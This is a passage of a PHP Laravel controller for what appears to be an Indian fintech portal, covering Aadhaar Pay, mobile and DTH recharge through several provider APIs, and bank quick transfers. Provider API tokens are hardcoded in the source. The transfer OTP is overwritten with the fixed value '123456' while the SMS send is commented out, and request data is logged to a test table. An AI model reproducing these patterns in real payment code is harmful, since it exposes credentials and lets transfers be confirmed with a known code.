        return response()->json(['status'=>'ERROR','message'=>$check->message,'error'=>false],503);
        $charge = $this->checkcharge($amount,'icapcharge',$user->package);
        if($charge != true)
        return response()->json(['status'=>'ERROR','message'=>'Charges are not set for you please contact to admin!','error'=>false],503);
        $outlet = DB::table('aepskyc')->where('uid',$uid)->first()->outlet;
        $api_key = DB::table('settings')->where('name','api_key')->first()->value;
        $url = "https://partner.ecuzen.in/iciciaeps/aadharpay";
          $txnid="AP".strtoupper(uniqid());
        $sendingdata = array(
            'lat' => $res->lat,
            'log' => $res->log,
            'api_key' => $api_key,
             'txnid' => $txnid,
            'outlet_id' => $outlet,
            'dsrno' => $res->dsrno,
            'pidtype' => $res->pidType,
            'piddata' => $res->pidData,
            'ci' => $res->ci,
            'dc' => $res->dc,
            'dpid' => $res->dpId,
            'errorcode' => $res->errorCode,
            'fcount' => $res->fCount,
            'ftype' => $res->fType,
            'hmac' => $res->hmac,
            'mc' => $res->mc,
            'mi' => $res->mi,
            'nmpoints' => $res->nmPoints,
            'qscore' => $res->qScore,
            'rdsid' => $res->rdsId,
            'rdsver' => $res->rdsVer,
            'sessionkey' => $res->sessionKey,
            'adhaarno' => $aadhar,
            'bankcode' => $bank,
            'mobile' => $mobile,
            'errorinfo' => $res->errorInfo,
            'amount' => $res->amount,
            );
        $response = $this->callApi($url,'POST',$sendingdata,'');
        #failed response
        // $response = '{"status":"FAILED","msg":"Insufficient fund","bank_ref":"320913598751","txnid":"AP4942156996"}';
        #success response
        // $response = '{"status":"SUCCESS","msg":"Request Completed","bank_ref":"320913597136","txnamount":"1000","txnid":"AP1708924550","Remaining_balance":2379.40999999999985448084771633148193359375,"uidai":"XXXXXXXX9387"}';
        $response = json_decode($response);
        if($response->status == 'SUCCESS')
        {
            $insertData = array(
                'uid' => $uid,
                'type' => 'AP',
                'txnid' => $response->txnid,
                'amount' => round($response->Remaining_balance,2),
                'status' => $response->status,
                'message' => $response->msg,
                'aadhar' => 'XXXXXXXX'.substr($aadhar,-4),
                'rrn' => $response->bank_ref,
                'bank' => $bank,
                'mobile' => $mobile,
                'txnamount' => $response->txnamount,
                'response' => json_encode($response)
                );
            $this->insertdata('iaepstxn',$insertData);
            #wallet entry
            $this->creditEntry($uid,'AADHAR-PAY',$response->txnid,$response->txnamount);
            $this->debitEntry($uid,'AP-CHARGE',$response->txnid,$charge);
            $this->distributeCommission($uid,'AP-Commission','adhaarpaycharge',$response->txnamount,$response->txnid);
            $insertData['bank'] = DB::table('banks')->where('id',$insertData['bank'])->first()->name;
            $insertData['date'] = Carbon::now()->format('Y-m-d H:i:s');
            $insertData['support'] = DB::table('settings')->where('name','cemail')->first()->value;
            $insertData['ministatement'] = [];
            return response()->json(['status'=>'SUCCESS','message'=>$response->msg,'data' => ['receiptData'=>$insertData]]);
        }
        else
        {
             if($response->msg == 'Please do 2FA before this transaction'){
            $upData = array(
                'tfadate' => date('Y-m-d H:i:s', strtotime(Carbon::now()->startOfDay()->subDay())),
                'tfaresponse' => json_encode($response)
                );
             $this->updateData('aepskyc','uid',$uid,$upData);
             }
            $insertData = array(
                'uid' => $uid,
                'type' => 'AP',
                'txnid' => isset($response->txnid)?$response->txnid:'CWTEMP'.rand(1000000000,9999999999),
                'amount' => isset($response->Remaining_balance)?$response->Remaining_balance:'NA',
                'status' => $response->status,
                'message' => $response->msg,
                'aadhar' => 'XXXXXXXX'.substr($aadhar,-4),
                'rrn' => isset($response->bank_ref)?$response->bank_ref:'TEMP'.rand(1000000000,9999999999),
                'bank' => $bank,
                'mobile' => $mobile,
                'txnamount' => isset($response->txnamount)?$response->txnamount:$amount,
                'response' => json_encode($response)
                );
            $this->insertdata('iaepstxn',$insertData);
            $insertData['bank'] = DB::table('banks')->where('id',$insertData['bank'])->first()->name;
            $insertData['date'] = Carbon::now()->format('Y-m-d H:i:s');
            $insertData['support'] = DB::table('settings')->where('name','cemail')->first()->value;
            $insertData['ministatement'] = [];
            return response()->json(['status'=>'SUCCESS','message'=>$response->msg,'data' => ['receiptData'=>$insertData]]);
        }
    }
    #Recharge
    public function getOperatorRecharge($type)
    {
        $blockedUsers = ['mobile', 'dth'];
         if (!in_array($type, $blockedUsers)) {
             return abort(404);
        }
        if($type == 'mobile')
        {
            $operators = DB::table('rechargeop')->where('type',1)->select('id','name','code','type','appimg as image')->get();
        }
        else
        {
            $operators = DB::table('rechargeop')->where('type',0)->select('id','name','code','type','appimg as image')->get();
            
        }
        $data = array('operatorList'=>$operators);
        return response()->json(['status'=>'SUCCESS','message'=>'Operator fetched successfully','data'=>$data,'error'=>false]);
    }


        public function fetchoperator(Request $res)
            {
                $mobile = $res->mobile ?? null;
            
                if (!$mobile) {
                    return response()->json(['status'  => 'FAILURE','message' => 'Mobile number is required'], 400);
                }
            
                $data = ['mobile' => $mobile];
                $url = "https://xapi.ecuzen.in/api/recharge/featch_plan";
            
                $response = $this->callApi($url, 'POST', json_encode($data), 'p');
            
                if (!$response) {
                    return response()->json(['status'  => 'FAILURE','message' => 'No response from API'], 502);
                }
                
                $resData = json_decode($response);
            
                if (!$resData || $resData->status !== 'SUCCESS' || !isset($resData->plan)) {
                    return response()->json(['status'  => 'FAILURE','message' => 'Failed to fetch plans or invalid API response'], 500);
                }
            
                $operatorData = DB::table('rechargeop')
                    ->where('operator_code', 'like', "%{$resData->opid}%")
                    ->first();
            
            
                if (!$operatorData) {
                    return response()->json([
                        'status'  => 'INFO',
                        'message' => 'Operator not found in database'
                    ], 404);
                }
            
                $logo = $operatorData->image ?? '';
            
                $planData = $resData->plan;
                $categories = $planData->categoryDetails ?? [];
                $planDetails = $planData->planDetails ?? [];
            
                $groupedPlans = [];
            
                foreach ($categories as $cat) {
                    $catName = $cat->category ?? 'Others';
                    $planIds = $cat->planIds ?? [];
                    $groupedPlans[$catName] = [];
            
                    foreach ($planIds as $planId) {
                        if (isset($planDetails->$planId)) {
                            $groupedPlans[$catName][] = (object) $planDetails->$planId;
                        }
                    }
                }
            
                $plans = [];
                foreach ($groupedPlans as $groupName => $groupPlans) {
                    $plans[] = (object) [
                        'group_name' => $groupName,
                        'plans'      => $groupPlans
                    ];
                }
                return response()->json(['status'  => 'SUCCESS','message' => 'Plans fetched successfully','operator_id' => $operatorData->id,'operator_name' => $operatorData->name,'plan_list'   => $plans], 200);
            }
    
    
    public function fetchPlans(Request $res)
    {
        $validator = Validator::make($res->all(), [
			'type' => 'required|string',
			'plans' => 'required|string',
		]);
		if ($validator->fails()) {
			return response()->json(['status' => 'ERROR', 'message' => $validator->errors()->first(), 'info' => $validator->errors(),'error'=>false],400);
		}
        $type = $res->type;
        $plans = $res->plans;
        $plans = json_decode($plans);
        foreach ($plans as $key=>$val)
        {
            if($type == $key)
            return $val;
        }
    }
//     public function doRecharge(Request $res)
//     {
//         $validator = Validator::make($res->all(), [
// 			'mobile' => 'required|numeric',
// 			'operator' => 'required|numeric|exists:rechargeop,code',
// 			'amount' => 'required|numeric|gt:0',
// 		]);
// 		if ($validator->fails()) {
// 			return response()->json(['status' => 'ERROR', 'message' => $validator->errors()->first(), 'info' => $validator->errors(),'error'=>false],400);
// 		}
// 		$user = $res->user();
// 		$uid = $user->id;
// 		$mobile = $res->mobile;
//         $operator = $res->operator;
//         $amount = $res->amount;
//         $check = $this->checkservice('recharge',$uid);
//         if($check->status == 'ERROR')
//         return response()->json(['status'=>'ERROR','message'=>$check->message,'error'=>false],503);
//         $wallet = $this->checkwallet($uid);
//         if($wallet < $amount)
//         return response()->json(['status'=>'ERROR','message'=>'Insufficient fund in your wallet please recharge your wallet!!'],402);
//         $user = DB::table('users')->where('id',$uid)->first();
//         $commission = DB::table('comissionv2')->where('package',$user->package)->where('operator',$operator)->first();
//         if($commission == null)
//         return response()->json(['status'=>'ERROR','message'=>'Commission are not set for you please contact to admin!'],422);
//         if($commission->percent == 1)
//         {
//             $commission = ($amount * $commission->amount) /100;
//         }
//         else
//         {
//           $commission = $commission->amount;
//         }
//         #Before transaction do entry
//         $tempTxnid = 'REC'.rand(1000000000,9999999999);
//         $insdata = array(
//                 'uid' => $uid,
//                 'txnid' => $tempTxnid,
//                 'mobile' => $mobile,
//                 'type' => 'RECHARGE',
//                 'operator' => $operator,
//                 'amount' =>$amount,
//                 'status' => 'PENDING',
//                 'message' => 'NA',
//                 'response' => 'NA',
//                 );
//         $this->insertdata('rechargetxn',$insdata);
//         $this->debitEntry($uid,'RECHARGE',$tempTxnid,$amount);
//         $this->creditEntry($uid,'RECHARGE-COMMISSION',$tempTxnid,round($commission,2));
//         // $url = 'https://partner.ecuzen.in/new/api/recharge/dorecharge';
//         $api_key = DB::table('settings')->where('name','api_key')->first()->value;
//         $hashn = $mobile.",".$operator.",".$amount.",".$api_key;
//         $hash = hash('sha512',$hashn);
//         $sendingdata = array(
//             "mobile" => $mobile,
//             "opid" => $operator,
//             "amount" => $amount,
//             "txnid" => $tempTxnid
//             );
        
//       $url = 'https://xapi.ecuzen.in/api/recharge/dorecharge';
//           $response = $this->callApi($url,'POST',json_encode($sendingdata),'p');
       
//       $response = json_decode($response);
//       $status = $response->status;
//       if($status == "success" || $status == "SUCCESS" || $status == "PENDING" || $status == "pending")
//       {
//           $insdata = array(
//                 'uid' => $uid,
//                 'txnid' => $response->txnid,
//                 'mobile' => $mobile,
//                 'type' => 'RECHARGE',
//                 'operator' => $operator,
//                 'amount' =>$amount,
//                 'status' => $status,
//                 'message' => $response->msg,
//                 'response' => json_encode($response),
//                 );
//         $this->updateData('rechargetxn','txnid',$tempTxnid,$insdata);
//         $this->updateData('wallet','txnid',$tempTxnid,['txnid'=>$response->txnid]);
//         $this->distributeComm($uid,'RECHARGE-COMMISSION','comissionv2',$amount,$response->txnid,$operator);
//         $data = array(
//                 'date' => Carbon::now()->format('Y-m-d H:i:s'),
//                 'txnid' => $response->txnid,
//                 'mobile' => $mobile,
//                 'operator' => DB::table('rechargeop')->where('id',$operator)->first()->name,
//                 'status' => $status,
//                 'item1' => 'Recharge',
//                 'item2' => 'Recharge Commission',
//                 'amount1' => (double)$amount,
//                 'amount2' => (double)$commission,
//                 'total' => (double)$amount - (double)$commission,
//                 'support' => DB::table('settings')->where('name','cemail')->first()->value,
//                 );
//             $recentTxn = DB::table('rechargetxn')->join('rechargeop','rechargeop.id','=','rechargetxn.operator')->limit(5)->orderBy('rechargetxn.id','desc')->select('rechargetxn.mobile','rechargeop.name as operatorName','rechargetxn.amount','rechargetxn.date','rechargetxn.txnid','rechargetxn.status')->get();
//             return response()->json(['status'=>'SUCCESS','message' => $response->msg,'data'=>['rechargeData'=>$data,'recentTxn'=>$recentTxn],'closing'=>$wallet - $amount - $commission],200);
//       }
//       else
//       {
//           $insdata = array(
//                 'uid' => $uid,
//                 'txnid' => isset($response->txnid)?$response->txnid:$tempTxnid,
//                 'mobile' => $mobile,
//                 'type' => 'RECHARGE',
//                 'operator' => $operator,
//                 'amount' =>$amount,
//                 'status' => $status,
//                 'message' => $response->msg,
//                 'response' => json_encode($response),
//                 );
//         $this->updateData('rechargetxn','txnid',$tempTxnid,$insdata);
//         $this->updateData('wallet','txnid',$tempTxnid,['txnid'=>isset($response->txnid)?$response->txnid:$tempTxnid]);
//         $this->creditEntry($uid,'RECHARGE-REFUND',isset($response->txnid)?$response->txnid:$tempTxnid,$amount);
//         $this->debitEntry($uid,'RECHARGE-COMMISSION-R',isset($response->txnid)?$response->txnid:$tempTxnid,$commission);
//         return response()->json(['status'=>'ERROR','message'=>$response->msg,'error'=>false],400);
//       }
//     }
    
    
    
    public function doRecharge(Request $res)
    {
        $validator = Validator::make($res->all(), [
            'mobile'   => 'required',
            'amount'   => 'required|numeric|gt:0',
            'operator' => 'required',
            'type'     => 'required',
           // 'circle'   => 'required|numeric',
        ]);
    
        if ($validator->fails()) {
            return response()->json([
                'status'  => 'ERROR',
                'message' => $validator->errors()->first()
            ],400);
        }
        $user = $res->user();
		$uid = $user->id;
        $mobile   = $res->mobile;
        $amount   = $res->amount;
        $operator = $res->operator;
        $type     = $res->type;
        $type_key = ($type == 'DTH') ? 0 : 1;
        $tempTxnid = 'REC'.time().rand(100,999);
    
    
        $check = $this->checkservice('recharge', $uid);
        if ($check->status == 'ERROR') return $check;
    
    
        $wallet = $this->checkwallet($uid);
        if ($wallet < $amount) {
            return response()->json(['status' => 'ERROR', 'message'=> 'Insufficient wallet balance'],400);
        }
    
        $user = DB::table('users')->where('id',$uid)->first();
     
        $com = DB::table('comissionv2')->where('package',$user->package)->where('operator',$operator)->first();
    
        if (!$com) {
            return response()->json(['status'=>'ERROR','message'=>'Commission not set, contact admin'],400);
        }
    
        $commission = ($com->percent == 1) ? ($amount * $com->amount) / 100 : $com->amount;
        $opRow = DB::table('rechargeop')->where('code', $operator)->first();

        if (!$opRow) {
            return response()->json(['status' => 'ERROR', 'message'=> 'Invalid operator'],400);
        }
   
       
        DB::table('rechargetxn')->insert([
            'uid'      => $uid,
            'txnid'    => $tempTxnid,
            'mobile'   => $mobile,
            'type'     => strtoupper($type),
            'operator' => $operator,
            'amount'   => $amount,
            'status'   => 'PENDING',
            'response' => 'NA',
            'message'  => 'NA'
        ]);
    
      
        $this->debitEntry($uid,'RECHARGE',$tempTxnid,$amount);
        $this->creditEntry($uid,'RECHARGE-COMMISSION',$tempTxnid,round($commission,2));
    
      
        $apis = DB::table('recharge_api_setting')->where('service_op',$operator)->where('service',$type_key)->orderBy('hitting_position','asc')->pluck('api_type')->toArray();
    
        if (!$apis) $apis = ['3']; 
        $finalResponse = null;
        $api_type = null;
    
        //dd($apis);
    
        foreach ($apis as $api) {
            $api_type = $api;
            
            if ($api == '1') {
                $finalResponse = $this->doRechargeEc($res,$tempTxnid, $operator);
            } elseif ($api == '2') {
                $finalResponse = $this->doRechargetaj($res,$tempTxnid, $opRow->tcode);
            } elseif ($api == '3') {
                $finalResponse = $this->doRechargebsm($res,$tempTxnid, $opRow->ncode);
            }
     
           // if ($finalResponse['status'] == 'success') break;
           
           if (in_array($finalResponse['status'], ['success','pending'])) {
                break;
            }
        }
       
       
    //   $finalResponse = '{"ip":"217.21.94.176","reqid":"REC1770372965203","amount":"11","ref_number":"36295210310","commission":null,"status":"Success","opid":"BR0009HRZT0I"}';
    //   $finalResponse = json_decode($finalResponse, true);
       
       
       $status = strtolower(trim($finalResponse['status']));
      if ($finalResponse &&  in_array($status, ['success','pending'])) {
            DB::table('rechargetxn')->where('txnid',$tempTxnid)->update([
                'status'   => strtoupper($status),
                'message'  => $finalResponse['msg'],
                'response' => json_encode($finalResponse['response']),
                'api_type' => $api_type
            ]);
             $data = [
                    'date' => Carbon::now()->format('Y-m-d H:i:s'),
                    'txnid' => $tempTxnid,
                    'mobile' => $mobile,
                    'operator' => DB::table('rechargeop')->where('id', $operator)->first()->name,
                    'status' => $status,
                    'item1' => 'Recharge',
                    'item2' => 'Recharge Commission',
                    'amount1' => $amount,
                    'amount2' => $commission,
                    'total' => $amount - $commission,
                    'support' => DB::table('settings')->where('name','cemail')->first()->value,
                ];
            
            
               return response()->json([
                    'status' => 'SUCCESS',
                    'view' => view('receipt.recharge', $data)->render(),
                    'closing' => $wallet - $amount - $commission
                ], 200);
    
        
        }
    
        
        $this->creditEntry($uid,'RECHARGE-REFUND',$tempTxnid,$amount);
        $this->debitEntry($uid,'RECHARGE-COMMISSION-R',$tempTxnid,$commission);
    
        DB::table('rechargetxn')->where('txnid',$tempTxnid)->update([
            'status'   => 'FAILED',
            'message'  => $finalResponse['msg'] ?? 'FAILED',
            'response' => json_encode($finalResponse)
        ]);
    
        return response()->json([
            'status'  => 'ERROR',
            'message' => $finalResponse['msg'] ?? 'Recharge Failed'
        ],400);
    }


    
    public function doRechargeEc($res, $txnid,$op)
    {
    $url = 'https://xapi.ecuzen.in/api/recharge/dorecharge';

    $sendingdata = [
        "mobile" => $res->mobile,
        "opid"   => $op,
        "amount" => $res->amount,
        "txnid"  => $txnid
    ];

    $response = $this->callApi($url,'POST',json_encode($sendingdata),'p');
   

     DB::table('test')->insert(['data'=>json_encode($sendingdata), 'api'=> "recharge api ecuzen send data"]);
      DB::table('test')->insert(['api'  => 'ECUZEN  RESPONSE', 'data' => $response]);
      $response = json_decode($response);
    if (!$response || !isset($response->status)) {
        return [
            'status' => 'error',
            'msg' => 'Invalid API Response',
            'response' => $response,
            'txn_status' => 'FAILED',
            'txnid' => $txnid
        ];
    }

    $status = strtoupper($response->status);

    return [
        'status'     => $status == 'SUCCESS'? 'success' : ($status == 'PENDING' ? 'pending' : 'error'),
        'msg'        => $response->msg ?? $status,
        'response'   => $response,
        'txn_status' => $status,
        'txnid'      => $txnid
    ];
}

    
    public function doRechargetaj($res,$txnid, $op)
    {
        
        $senddatat= [
                'uname'      => 'TAJ10',
                'api_token' => '87cf7c6bed9853ac6f778c538fef15d1',
                'operator' =>$op,
                'circle'   => $res->circle??'',
                'number'   => $res->mobile,
                'amount'   => $res->amount,
                'reqid'    => $txnid
            ];
        $response = Http::timeout(50)->connectTimeout(20)->get('https://tajapi.online/apiservice/recharge.php',$senddatat);

        $result = json_decode($response->body(),true);
        
        // $status = strtoupper($result['status'] ?? 'FAILED');
        // $result ='{"ip":"217.21.94.176","reqid":"REC1770276249714","amount":"11","ref_number":"5721092936","commission":0,"status":"Pending","opid":[]}';
        // $result = json_decode($result, true);
        
        
        DB::table('test')->insert(['data'=>json_encode($senddatat), 'api'=> "recharge api taj send data"]);
        DB::table('test')->insert(['api'  => 'TAJ RAW RESPONSE', 'data' => $response->body()]);
        
         $status = strtoupper($result['status'] ?? 'FAILED');
         $finalStatus = $status == 'SUCCESS'? 'success' : ($status == 'PENDING' ? 'pending' : 'error');
        return [
            'status'     => $finalStatus,
            'msg'        => $result['message'] ?? $status,
            'response'   => $result,
            'txn_status' => $status,
            'txnid'      => $txnid
        ];
}

    
    public function doRechargebsm($res,$txnid, $op)
    {
         $field1 = '';
        if ((string)$op == '2') {
            $field1 = $res->mobile;
        }
       
        $apiToken = "7bec756264694622aa9e802bc2e127fb";
        
         $senddata = [
            'apiToken' => $apiToken,
            'mn'       => $res->mobile,
            'op'       => $op,
            'amt'      => $res->amount,
            'reqid'    => $txnid,
            'field1'   => $field1,
            'field2'   => ''
        ];
        
     $response = Http::get('https://www.bsmrecharge.in/apiservice.asmx/Recharge',$senddata);

    $xml = simplexml_load_string($response->body());
    $json = json_decode(json_encode($xml),true);
    $status = strtoupper($json['status'] ?? 'FAILED');


   DB::table('test')->insert(['data'=>json_encode($senddata), 'api'=> "recharge api bsm send data"]);
   DB::table('test')->insert(['data'=>json_encode($xml), 'api'=> "RECHARGE api bsm response data"]);
   
   $status = strtoupper(trim($status));

    $finalStatus = in_array($status, ['SUCCESS','PROCESSED']) ? 'success' : ($status == 'PENDING' ? 'pending' : 'error');


    return [
        'status'     => $finalStatus,
        'msg'        => $json['message'] ?? $status,
        'response'   => $json,
        'txn_status' => $status,
        'txnid'      => $txnid
    ];
    
 
}
    
    
    
    
    
    
    
    #Quick Transfer
    public function getAllBankIfsc()
    {
        $global = DB::table('global_ifsc_list')->select('id','name','ifscGlobal')->orderBy('name','ASC')->get();
		$data = array(
			'globalList' => $global
		);
		return response()->json(['status' => 'SUCCESS', 'error' => false, 'message' => 'Bank and IFSC fetched successfully', 'data' => $data], 200);
    }
    public function fetchQtAccount(Request $res)
    {
        /*return 'hii';*/
        $validator = Validator::make($res->all(), [
			'mobile' => 'required|numeric|digits:10',
		]);
		if ($validator->fails()) {
			return response()->json(['status' => 'ERROR', 'message' => $validator->errors()->first(), 'info' => $validator->errors(),'error'=>false],400);
		}
		$mobile = $res->mobile;
        $result = DB::table('qtra_acc')->where('mobile',$mobile)->get();
        if($result->count() > 0)
        {
            foreach ($result as $res)
            {
                if($res->ifsc != "" || $res->ifsc != null)
                {
                    $global = DB::table('global_ifsc_list')->select('name','id')->where('ifscGlobal','like','%'.substr($res->ifsc,0,4).'%')->first();
                    $res->bid = $global->id;
                    $res->bname = $global->name;
                }
            }
            return response()->json(['status'=>'SUCCESS','message'=>'Some accounts fetched','data'=> ['qtAccounts'=>$result],'error'=>false],200);
        }
        else
        { 
            return response()->json(['status'=>'SUCCESS','message'=>'No accounts are associated with this number','data'=> ['qtAccounts'=>[]],'error'=>false]);
        }
    }
    public function initiateQtTransaction(Request $res)
    {
        $validator = Validator::make($res->all(), [
                'amount' => 'required|numeric|gt:0',
                'account' => 'required|numeric|min:10',
                'ifsc' => 'required|string|min:10',
                'mobile' => 'required|numeric|min:10',
                'name' => 'required|string'
            ]);
            if ($validator->fails()) {
			return response()->json(['status' => 'ERROR', 'message' => $validator->errors()->first(), 'info' => $validator->errors(),'error'=>false],400);
		}
        $user = $res->user();
        $uid = $user->id;
        $check = $this->checkservice('qtransfer',$uid);
        if($check->status == 'ERROR')
        return response()->json(['status'=>'ERROR','message'=>$check->message,'error'=>false],503);
        $amount = $res->amount;
        $name = $res->name;
        $account = $res->account;
        $ifsc = $res->ifsc;
        $mobile = $res->mobile;
        $wallet = $this->checkwallet($uid);
        if($wallet < $amount)
        return response()->json(['status'=>'ERROR','message'=>'Insufficient fund in your wallet please recharge your wallet!!','error'=>false],402);
        $charge = $this->checkcharge($amount,'qtransfer',$user->package);
        if($charge != true)
        return response()->json(['status'=>'ERROR','message'=>'Charges are not set for you please contact to admin!','error'=>false],412);
        if($wallet < $charge+$amount)
        return response()->json(['status'=>'ERROR','message'=>'Insufficient fund in your wallet. You need '.$charge+$amount.' to do this transaction','error'=>false],402);
        $maxlimit = $this->checkmaxlimit('qtransfer',$user->package);
        if($maxlimit != true)
        return response()->json(['status'=>'ERROR','message'=>'Unable to get your maximum Transaction limit please contact to admin!!','error'=>false],422);
        if($amount > $maxlimit)
        return response()->json(['status'=>'ERROR','message'=>'Your maximum transaction limit is '.$maxlimit,'error'=>false],422);
        $data = array(
            "amount" => $amount,
            'account' => $account,
            'ifsc' => $ifsc,
            'mobile' => $mobile,
            'name' => $name,
            );
        if($this->txnvia() == 'otp')
        { 
            $otp = rand(100000,999999);
            $otp = '123456';
            
            $sms_api = DB::table('settings')->where('name','sms_api')->first()->value;
            $senderid = "ECZSPL";
            $message = "Welcome To B2B Software Dear " . $user->name . " Your OTP For Amount " . $amount . " Is " . $otp . "	";
            $link = "https://india1sms.com/api/smsg/sendsms?APIKey=".urlencode($sms_api)."&senderid=".urlencode($senderid)."&number=".urlencode($user->phone)."&message=".urlencode($message)."";
            // $res = $this->callApi($link,'POST','','');
            // $res = json_decode($res);
            // if($res->status != 'SUCCESS')
            // return response()->json(['status'=>$res->status,'message'=>$res->message]);
            $message = 'OTP send to your register mobile number';
        }
        else
        {
            $otp = $user->pin;
            $message = 'Please enter your PIN to do the transaction';
        }
        $txnKey = uniqid();
        $insertData = array('data'=>json_encode($data),'otp'=>$otp,'txn_key'=>$txnKey);
        DB::table('qtra_otp')->insert($insertData);
        return response()->json(['status'=>'SUCCESS','message'=>$message,'error'=>false,'txn_key'=>$txnKey,'mode'=>$this->txnvia()]);
    }
    public function qtDoTxn(Request $res)
    {
        $validator = Validator::make($res->all(), [
                'otp' => 'required|numeric',
                'txn_key' => 'required|string',
            ]);
            if ($validator->fails()) {
			return response()->json(['status' => 'ERROR', 'message' => $validator->errors()->first(), 'info' => $validator->errors(),'error'=>false],400);
		}
		$txnKey = $res->txn_key;
		$getTxnRow = DB::table('qtra_otp')->where('txn_key',$txnKey)->first();
		if($getTxnRow == "" || $getTxnRow == null)
		return response()->json(['status'=>'ERROR','message'=>'Invalid transaction','error'=>false],403);
        $otp = $res->otp;
        $txnData = json_decode($getTxnRow->data);
        if($getTxnRow->otp != $otp)
        return response()->json(['status'=>'ERROR','message'=>'Invalid OTP','error'=>false],401);
        $user = $res->user();
        $uid = $user->id;
        $check = $this->checkservice('qtransfer',$uid);
        if($check->status == 'ERROR')
        return response()->json(['status'=>'ERROR','message'=>$check->message,'error'=>false],503);
        $amount = $txnData->amount;
        $account = $txnData->account;
        $ifsc = $txnData->ifsc;
        $name = $txnData->name;
        $mobile = $txnData->mobile;
        $wallet = $this->checkwallet($uid);
        if($wallet < $amount)
        return response()->json(['status'=>'ERROR','message'=>'Insufficient fund in your wallet please recharge your wallet!!','error'=>false],402);
        $user = DB::table('users')->where('id',$uid)->first();
        $charge = $this->checkcharge($amount,'qtransfer',$user->package);
        if($charge != true)
        return response()->json(['status'=>'ERROR','message'=>'Charges are not set for you please contact to admin!','error'=>false],412);
        if($wallet < $charge+$amount)
        return response()->json(['status'=>'ERROR','message'=>'Insufficient fund in your wallet. You need '.$charge+$amount.' to do this transaction','error'=>false],402);
        
        #Before transaction do entry
        $tempTxnid = 'QT'.rand(1000000000,9999999999);
        $insdata = array(
                'uid' => $uid,
                'txnid' => $tempTxnid,
                'account' => $account,
                'ifsc' => $ifsc,
                'bname' => $name,
                'amount' =>$amount,
                'status' => 'PENDING',
                'message' => 'NA',
                'response' => 'NA',
                'rrn' => 'NA',
                'mode' => 'NA',
                );
            $this->insertdata('qtransfertxn',$insdata);
            $this->debitEntry($uid,'Q-Transfer',$tempTxnid,$amount);
            $this->debitEntry($uid,'QT-Charge',$tempTxnid,$charge);
        $api_key = DB::table('settings')->where('name','api_key')->first()->value;
        $sendingData = array(
                "amount" => $amount,
                "beneficiary_name" => $name,
                "ref_key" => $tempTxnid,
                "mode" => "IMPS",
                "account_number" => $account,
                "ifsc" => $ifsc
                );
        DB::table('qtra_otp')->where('txn_key',$txnKey)->delete();
        // $url = "https://partners.ecuzen.in/api/qt/dotxn";
        $url = "https://partner.ecuzen.in/new/api/qtransfer/dotxn";
        $callbackUrl = env('APP_URL').'/api/quick-transfer-callback';
        $headers = array('api-key' => $api_key,'callback-url'=>$callbackUrl);
        $response = $this->callApiwithHeader($url,'POST',json_encode($sendingData),$headers);
        #for dummy response
        /*$response = '{"status":"SUCCESS","msg":"NA","info":{"txnid":"QT3232635","amount":1,"charge":"4.72","account":"327512762984","ifsc":"ICIC0006771","name":"Ecuzen","status":"SUCCESS","rrn":"327512762984","msg":"NA","mode":"IMPS","user_refkey":"QT3144363706","callback_url":"https:\/\/aadharsee.com\/api\/quick-transfer-callback"}}';*/
        $response = json_decode($response);
        $status =  $response->status;
        $TxnDetails = $response->info??[];
        if($status=="SUCCESS" || $status=="PENDING" || $status=="IN_PROCESS" || $status=="ACCEPTED")
        {
            $successTypes = ['SUCCESS','success','Success','PENDING','pending','Pending'];
            if(in_array($TxnDetails->status,$successTypes))
            {
                $insdata = array(
                    'uid' => $uid,
                    'txnid' => $TxnDetails->txnid,
                    'account' => $TxnDetails->account,
                    'ifsc' => $TxnDetails->ifsc,
                    'bname' => $TxnDetails->name,
                    'amount' =>$TxnDetails->amount,
                    'status' => $TxnDetails->status,
                    'message' => $TxnDetails->msg,
                    'response' => json_encode($response),
                    'rrn' => $TxnDetails->rrn,
                    'mode' => $TxnDetails->mode,
                    );
                $this->updateData('qtransfertxn','txnid',$tempTxnid,$insdata);
                $this->updateData('wallet','txnid',$tempTxnid,['txnid'=>$TxnDetails->txnid]);
                $this->distributeCommission($uid,'QT-Commission','qtransfer',$amount,$TxnDetails->txnid);
                #check for existance account
                $check = DB::table('qtra_acc')->where(['mobile'=>$mobile,'account'=>$account])->count();
                if($check < 1)
                {
                    $accountdata = array(
                        'mobile' => $mobile,
                        'account' => $account,
                        'name' => $name,
                        'ifsc' => $ifsc,
                        'fetch_acc' => 0,
                        );
                    $this->insertdata('qtra_acc',$accountdata);
                }
                $data = array(
                    'date' => Carbon::now()->format('Y-m-d H:i:s'),
                    'name' => $TxnDetails->name,
                    'txnid' => $TxnDetails->txnid,
                    'account' => $TxnDetails->account,
                    'ifsc' => $TxnDetails->ifsc,
                    'rrn' => $TxnDetails->rrn,
                    'status' => $TxnDetails->status,
                    'item1' => 'Quick Transfer',
                    'item2' => 'Q-Transfer charge',
                    'amount1' => (double)$TxnDetails->amount,
                    'amount2' => (double)$charge,
                    'total' => (double)$TxnDetails->amount+(double)$charge,
                    'support' => DB::table('settings')->where('name','cemail')->first()->value,
                    );
                $recentTxn = DB::table('qtransfertxn')->where('uid',$uid)->limit(5)->get();
                return response()->json(['status'=>'SUCCESS','data'=>['qtData'=>$data,'recentQtTxn'=>$recentTxn],'message'=>'Transaction Successfull','closing'=>round($wallet - $amount+$charge,2)],200);
            }
            else
            {
                $insdata = array(
                    'uid' => $uid,
                    'txnid' => $TxnDetails->txnid??'NA',
                    'account' => $account,
                    'ifsc' => $ifsc,
                    'bname' => $name,
                    'amount' =>$amount,
                    'status' => $status,
                    'message' => $TxnDetails->msg??'NA',
                    'response' => json_encode($response),
                    'rrn' => $TxnDetails->rrn??"NA",
                    'mode' => $TxnDetails->mode??"NA",
                );
                $this->updateData('qtransfertxn','txnid',$tempTxnid,$insdata);
                $this->updateData('wallet','txnid',$tempTxnid,['txnid'=>$TxnDetails->txnid??$tempTxnid]);
                $this->creditEntry($uid,'QT-REFUND',$TxnDetails->txnid??$tempTxnid,$amount+$charge);
                $recentTxn = DB::table('qtransfertxn')->where('uid',$uid)->limit(5)->get();
                return response()->json(['status'=>'ERROR','data'=>['recentQtTxn'=>$recentTxn],'message'=>$TxnDetails->msg??$response->msg],406);
            }
        }
        else
        {
            $insdata = array(
                    'uid' => $uid,
                    'txnid' => $TxnDetails->txnid??'NA',
                    'account' => $account,
                    'ifsc' => $ifsc,
                    'bname' => $name,
                    'amount' =>$amount,
                    'status' => $status,
                    'message' => $TxnDetails->msg??'NA',
                    'response' => json_encode($response),
                    'rrn' => $TxnDetails->rrn??"NA",
                    'mode' => $TxnDetails->mode??"NA",
                );
                $this->updateData('qtransfertxn','txnid',$tempTxnid,$insdata);
